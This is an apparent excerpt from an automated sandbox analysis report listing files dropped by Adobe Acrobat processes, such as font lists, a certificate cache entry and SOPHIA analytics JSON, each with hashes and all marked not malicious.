Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkllQDtfllXlE/HT8kgtNNX8RolJuRdxLlGB9lQRYwpDdt:kK9DeT8DNMa8RdWBwRd
MD5:	A7D3426DD7B75526DF484312F617C338
SHA1:	1081EE5DE1B0024C77A017D03275CFBD074226BD
SHA-256:	0985AC3DEBF54FA3F98A060711BDF1959445FD62429BC67B14BBB1735B195022
SHA-512:	03D11AE97C841D56249C7968CCC9013C747379E9158E073B67C7E6944D7F83C44EA33A57C9F58F61C50B0C51B1E98460A8C974482922E5BA08BF28144C846394
Malicious:	false
Preview:	p...... ...........i.c..(....................................................... ..........W....l...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6424

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6424

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37505340854288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJM3g98kUwPeUkwRe9:YvXKXMtZc0vWGMbLUkee9
MD5:	DBD7C398095C7314F0B075F29CB7B56F
SHA1:	9A273E364B9FD8A03DB53400DE187F24A5BD8049
SHA-256:	7FF352BF0355A419DC44BC3AA4E82C2334068A53ED6849B6F67FED59E2758B4F
SHA-512:	6F041B0BE6A95A72B505FD0A3B98469B9F889044B8905240B2BA45FF9C950024DC07C225309F04D772417AA6CD01988431F8C15999C6D00270F0E405FD836BE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324438244909945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfBoTfXpnrPeUkwRe9:YvXKXMtZc0vWGWTfXcUkee9
MD5:	9D1614B1D1DB7EAC0F3DB7DD2DCBF403
SHA1:	309AB17B6F1E2125B46D0DDCFBBC662312FEBF2E
SHA-256:	CBA83014B7561D2B5CC470E7CF1C86963EFC3A2A53DB7DD17D893050E3DC0349
SHA-512:	AD97EB2A32CFAB1A68881F1A1D0208BE01631BBAA31EE3CF69057383D8AB591174225CC408B4C37022497CBFD9AADE3D79CD294B4A8D476464E4638929E3EEF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301981443128568
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfBD2G6UpnrPeUkwRe9:YvXKXMtZc0vWGR22cUkee9
MD5:	D0DB7533CFBD2E8BCAB116897A5D8CDF
SHA1:	826BD55B688587622D8F265DF99EB81964521B35
SHA-256:	7C70E28355A2041131AF7F2CC63CBE73DBD20F3538811D9A214031928ABF4146
SHA-512:	EA82057D45B30C848A6C86F9229886B1D0D0BAA9F0C240AFA88FDB3A200525E74E50B59952CCFFCA9F89ADB1FB139D0C43C2226EB93AC02C1CA8F445DA1F504D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.362474090956485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfPmwrPeUkwRe9:YvXKXMtZc0vWGH56Ukee9
MD5:	2BB69CB076AA8D568339BE9FC957981F
SHA1:	FF75256A0363D9FDB92CF9C285F151385BAEFD4F
SHA-256:	E3B2C8E6EA23C6C2D11F02A21493AEE728F0B3EE56B493A14A965A4E63E17F2C
SHA-512:	0B2E23AD24B43B80A64B2FEB725B7AF2D2813108FF31EC82D8EFA1A8022BD7DD73911C5C0F4ADF2BFD5866F9E4131E15D39D42EB6E60EA8B0003970C66CD2954
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690568485920276
Encrypted:	false
SSDEEP:	24:Yv6XMtzvDpLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:Yvnxrhgy6SAFv5Ah8cv/x
MD5:	CF027E5CE183D60A9C178FD05C9FCA31
SHA1:	64F1B35658764B234AAF92D7FBB1D4CA547C338F
SHA-256:	9DFFC9386E0286EC535A0F539898CD16651EA94ABF5EF8779D6C9EB8F37130E1
SHA-512:	69149E2C159B56833BFCD69626B346CECD6CF6FE94840B322A5D81E8DAACD151DA3444677AF63A62A30F6EE1F4FD9B67AA450DC6E18DDFC6B2F355DF772D77A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308670808365277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJf8dPeUkwRe9:YvXKXMtZc0vWGU8Ukee9
MD5:	57250AAF8619403C4789D1197A9D9867
SHA1:	764E61939C86F2B6E29E8EAF64DCC30CBD74D13C
SHA-256:	921E8859275375F3777CCAB95FA4593ED76C32611AD0B142513B0878D8874F12
SHA-512:	03ACF1E0A1FB6C769CA508E6C15696A8EAC95DEBD3EE712C61CD6049F558892BB9F788CE57C283ABA7E9801FD1DF8D0613DCCB161EC4D316C06DE1AC82F32B69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.313082157118851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfQ1rPeUkwRe9:YvXKXMtZc0vWGY16Ukee9
MD5:	55D2030C6153FEE87C6CE8B4C4A49811
SHA1:	4C14ABA6C1B45E3C405AAF9F96BC37DE17B15087
SHA-256:	19DE106B778086D1F9B00103F19EC0C8AA1A9BA76DB846318351D7BA9CE29491
SHA-512:	CBC824F3436C4D5E6C890E275D7734A8898E8DEF80650B791181020A20EFF7AAFC53C546D23D8C8635E8C85BF56966CC97C6BF79EA0C085D44FA9D503853F816
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317592440614108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfFldPeUkwRe9:YvXKXMtZc0vWGz8Ukee9
MD5:	9BE6F3EA6DFD865828B4B2E52B699FB3
SHA1:	9E49A9362E6FD2ED485104B65DB0E94963C15C73
SHA-256:	902B39BAF646A2E449715D42F66F05C57F1FC034A826FD8B0A13C8462CFFCF24
SHA-512:	1548EC9F6C3022006D012D4E23A2D886EBE2F4480AA3F98976AB77CDB54DC8D3DD704B88E653A278038641106FD2F5BB41DF8B68B064B54A6948DD07E831CBEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3350524964758295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfzdPeUkwRe9:YvXKXMtZc0vWGb8Ukee9
MD5:	29B769E1A6F50D994AFC4CBC370C9BD1
SHA1:	3A72BBF787A942AAF475E7964A629910C1B12A60
SHA-256:	8C1DBC41CB10BBEB3A3E240B9BB2AA9FC435043D1C1DC4B089F66EF5FF9A32CB
SHA-512:	B9F55EB7B85C6075FC9CDFD0B3C22E61D6E76FF72DEF9F218DD10BDC5CED1E42251E852278A652AA31FDE3392946C3B27BFE634338C23024C19E97697643475B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316021959849321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfYdPeUkwRe9:YvXKXMtZc0vWGg8Ukee9
MD5:	7C016FC4A2EA1967C3E1C9024488F02C
SHA1:	F5C965AD6719DD3040FE8C03C3D6F3678361420D
SHA-256:	DAD4E2ECCE54DD143C208E4185ECDE38F61DB0E1ED181F53B69CEA8AE7786DD0
SHA-512:	A51828326ECA9204C47FB9755922EB919E9364A10ACDFA2C7AE329D8A96280E08400B9A8881EC9EF6D7C4A19B61FF2EEC54FE5C93D6C4121913D68E93BADBFBB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302036707897065
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJf+dPeUkwRe9:YvXKXMtZc0vWG28Ukee9
MD5:	35CB6A8D07ECDB02E03F271E6CA22C63
SHA1:	12ABEFC9EA1E7D187537C8967B455BB6AD1D4E3B
SHA-256:	5CD0B2E24E504D4F7F76BB5AAECD252B74C6C2D68A956883CB5B7CF71A2003F1
SHA-512:	0268E820FFA37915731837F45F052B2F024CC3B84DCFFA44C7ED92917E3704BF3F5E1D821A5315DF8AC41F988A1220AD6A10A6A5B4E04730D247524C22B05BAA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299458940960648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJfbPtdPeUkwRe9:YvXKXMtZc0vWGDV8Ukee9
MD5:	CD09F161D0F64E94FD2D07DC25CD2362
SHA1:	0B1A6D1A34FAD6D52CAF76CA5540DDC68F471109
SHA-256:	2550E93CC249FDFB65F746A53419C8BC4904A3B16DCDA2EB03C644393EA2F1DD
SHA-512:	CB563A4D47EA7CA8B433F9D711445C8742DBB76FBD2173E9BF53FA2A044CEA4AB4AE36E611B88248FFF8C043F772CB7315E2C232A641376F25A7C42489A62956
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"559d99d1-6f85-4bfb-ac46-8d2fc7af081c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736718906809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.304332161447559
Encrypted:	false
SSDEEP:	6:YEQXJ2HXg3LgVoZcg1vRcR0YKoAvJf21rPeUkwRe9:YvXKXMtZc0vWG+16Ukee9
MD5:	CC8BD28812C4B9B45767D6AB6E7AE72D
SHA1:	ADD33A89C0F32FA05D6025E054BF00C6C5F1E38D
SHA-256:	89AECAE169B942FA7FC66AF5ED73CCFE0471466C9683AE284A30BE4227422C65
SHA-512:	9A9A7A96BC22D10988EFA5222973729E68801A405A0C1D262724A967E8C5D9B4ECC0D8DEC22CA1AC9BFD9AA3C4C15728C2C1B861CB5B96C23591F76F720CC6B2
